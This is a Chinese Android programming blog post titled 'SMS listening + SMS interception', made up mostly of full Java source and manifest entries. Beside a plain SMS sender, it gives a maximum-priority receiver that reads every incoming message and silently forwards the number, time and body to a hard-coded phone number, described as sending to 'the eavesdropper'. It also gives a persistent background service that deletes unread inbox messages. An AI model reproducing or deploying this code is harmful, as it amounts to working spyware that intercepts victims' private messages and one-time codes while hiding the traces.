码迷,mamicode.com
首页 > 其他好文 > 详细

短信监听+短信拦截

时间:2015-08-03 18:16:29      阅读:342      评论:0      收藏:0      [点我收藏+]

标签:

监听消息发送和消息是否被接收。

import android.app.Activity;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.provider.Telephony.Sms;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;

public class MainActivity extends Activity {
    private EditText num;
    private EditText text;
    private Button send;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        init();
//启动service 触发短信拦截 Intent service
=new Intent(MainActivity.this, SMSService.class); startService(service); } private class SendOnClickListenerImpl implements OnClickListener { public void onClick(View arg0) { Intent intent = new Intent("SMS_SEND_ACTION"); Intent intented = new Intent("SMS_DELIVERED_ACTION"); SmsManager sms = SmsManager.getDefault(); String phoneNum = num.getText().toString(); String smsContent = text.getText().toString(); PendingIntent pending = PendingIntent.getBroadcast( MainActivity.this, 0, intent, 0); PendingIntent pendinged = PendingIntent.getBroadcast( MainActivity.this, 0, intented, 0);
//注册短信已发送 registerReceiver(
new SMSReceive(), new IntentFilter( "SMS_SEND_ACTION"));
//注册短信已被接收 registerReceiver(
new SMSReceived(), new IntentFilter( "SMS_DELIVERED_ACTION"));
//短信分段
if (smsContent.length() > 70) { List<String> smsText = sms.divideMessage(smsContent); Iterator<String> it = smsText.iterator(); while (it.hasNext()) { String next = it.next(); sms.sendTextMessage(phoneNum, null, next, pending, pendinged); } } else { sms.sendTextMessage(phoneNum, null, smsContent, pending, pendinged); } } } private void init() { this.num = (EditText) super.findViewById(R.id.num); this.text = (EditText) super.findViewById(R.id.text); this.send = (Button) super.findViewById(R.id.send); this.send.setOnClickListener(new SendOnClickListenerImpl()); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }

 短信发送提示

package com.example.smslistener;

import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;

public class SMSReceive extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent arg1) {
        // TODO Auto-generated method stub
        if(arg1.getAction().equals("SMS_SEND_ACTION")){
            switch(super.getResultCode()){
            case Activity.RESULT_OK:
                Toast.makeText(context, "短信已发送!", Toast.LENGTH_SHORT).show();
                
            break;
            case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
            break;
            
            }
            
        }
    }

}

 短信是否接收提示

package com.example.smslistener;

import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;

public class SMSReceived extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent arg1) {
        // TODO Auto-generated method stub
        if (arg1.getAction().equals("SMS_DELIVERED_ACTION")) {
            switch (super.getResultCode()) {
            case Activity.RESULT_OK:
                Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show();
                break;
            case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
                break;

            }

        }

    }

}

监听系统广播,发送给窃听者

package com.example.smslistener;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SMSSendReceive extends BroadcastReceiver {

    @Override
    public void onReceive(Context arg0, Intent arg1) {
        if (arg1.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
//拿到短信内容 pdus是固定的key Object[] pdusDate
= (Object[]) arg1.getExtras().get("pdus"); for (int i = 0; i < pdusDate.length; i++) { byte[] pdus = (byte[]) pdusDate[i]; SmsMessage message = SmsMessage.createFromPdu(pdus); String time = new SimpleDateFormat("yyyy,MM,dd hh.mm.ss", Locale.CHINA).format(new Date(message .getTimestampMillis())); String num = message.getOriginatingAddress(); String body = message.getMessageBody(); SmsManager sms = SmsManager.getDefault(); PendingIntent sentIntent = PendingIntent.getActivity(arg0, 0, arg1, PendingIntent.FLAG_UPDATE_CURRENT); String content = "短信号码:" + num + "\n发送时间:" + time + "\n短信内容:(" + body + ")";
//这里、、、 String destination
= "10010"; sms.sendTextMessage(destination, null, content, sentIntent, null); } } } }

 监听

 <receiver android:name=".SMSSendReceive" >
            <intent-filter android:priority="2147483647" >
                <action android:name="android.provider.Telephony.s" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>

触发短信拦截

package com.example.smslistener;


import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.os.Process;
public class SMSService extends Service {
     private SmsObserver mObserver;
    @Override
    public IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
        return null;
    }

     @Override
     public void onCreate() {//contentresolver通过uri来找到数据
      ContentResolver resolver = getContentResolver();  
    //实例化数据库观察者
      mObserver = new SmsObserver(resolver, new SmsHandler(this));
      
//      resolver.registerContentObserver(路径,notifyForDescendents,观察者)
//     notifyForDescendents=为false 表示精确匹配,即只匹配该Uri为true 表示可以同时匹配其派生的Uri
      resolver.registerContentObserver(Uri.parse("content://sms"), true, mObserver);
     }

     @Override
     public void onDestroy() {
      this.getContentResolver().unregisterContentObserver(mObserver);
      Process.killProcess(Process.myPid());
         super.onDestroy();
     }

    public int onStartCommand(Intent intent, int flags, int startId) {
        flags=START_STICKY;
        return super.onStartCommand(intent, flags, startId);
        }
    }
    
    

数据库观察者

package com.example.smslistener;

import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Message;

public class SmsObserver extends ContentObserver { private ContentResolver mResolver; public SmsHandler smsHandler; public SmsObserver(ContentResolver mResolver, SmsHandler handler) { super(handler); this.smsHandler = handler; this.mResolver = mResolver; } public void onChange(boolean selfChange) { Cursor mCursor = mResolver.query(Uri.parse("content://sms/inbox"), new String[] { "_id", "address", "read", "body", "thread_id" }, "read=?", new String[]{"0"}, "date desc"); if(mCursor==null){ return; }else{ while(mCursor.moveToNext()){ SmsInfo smsInfo=new SmsInfo(); int idIndex=mCursor.getColumnIndex("_id"); if(idIndex!=-1){ smsInfo._id=mCursor.getString(idIndex); } int threadId=mCursor.getColumnIndex("_thread_id"); if(threadId!=-1){ smsInfo.thread_id=mCursor.getString(threadId); } int addressIndex=mCursor.getColumnIndex("address"); if(addressIndex!=-1){ smsInfo.address=mCursor.getString(addressIndex); } int bodyIndex=mCursor.getColumnIndex("body"); if(bodyIndex!=-1){ smsInfo.body=mCursor.getString(bodyIndex); } // 拦截策略是否对短信进行操作 Message msg=smsHandler.obtainMessage(); //0不对短信进行操作;1将短信设置为已读;2将短信删除 smsInfo.action=2; msg.obj=smsInfo; smsHandler.sendMessage(msg); } } //擦屁股 if(mCursor!=null){ mCursor.close(); mCursor=null; } } }

 字段信息

package com.example.smslistener;

public class SmsInfo {
    public String _id = "";
    public String thread_id = "";
    public String address = "";
    public String body = "";
    public String read = "";
    public int action = 0;// 1代表设置为已读,2表示删除短信
}

短信处理

package com.example.smslistener;

import android.content.ContentValues;
import android.content.Context;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;

public class SmsHandler extends Handler { 
    private Context mcontext;

    public SmsHandler(Context context) {
        this.mcontext = context; 
    }

    @Override 
    public void handleMessage(Message msg) {
            SmsInfo smsinfo = (SmsInfo) msg.obj;
            if (smsinfo.action == 1) {
                ContentValues value = new ContentValues();
                value.put("read", "1");
                mcontext.getContentResolver().update(
                        Uri.parse("content://sms/inbox"), value, "thread_id=?",
                        new String[] { smsinfo.thread_id });
            } else if (smsinfo.action == 2) {
                Uri mUri = Uri.parse("content://sms/");
                mcontext.getContentResolver().delete(mUri, "_id=?",
                        new String[] { smsinfo._id });
            }
    }

    

}
权限:

  <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_SMS"/>

 

 

 

 

布局自己解决。

 

短信监听+短信拦截

标签:

原文地址:http://www.cnblogs.com/mydomainlistentome/p/4699737.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!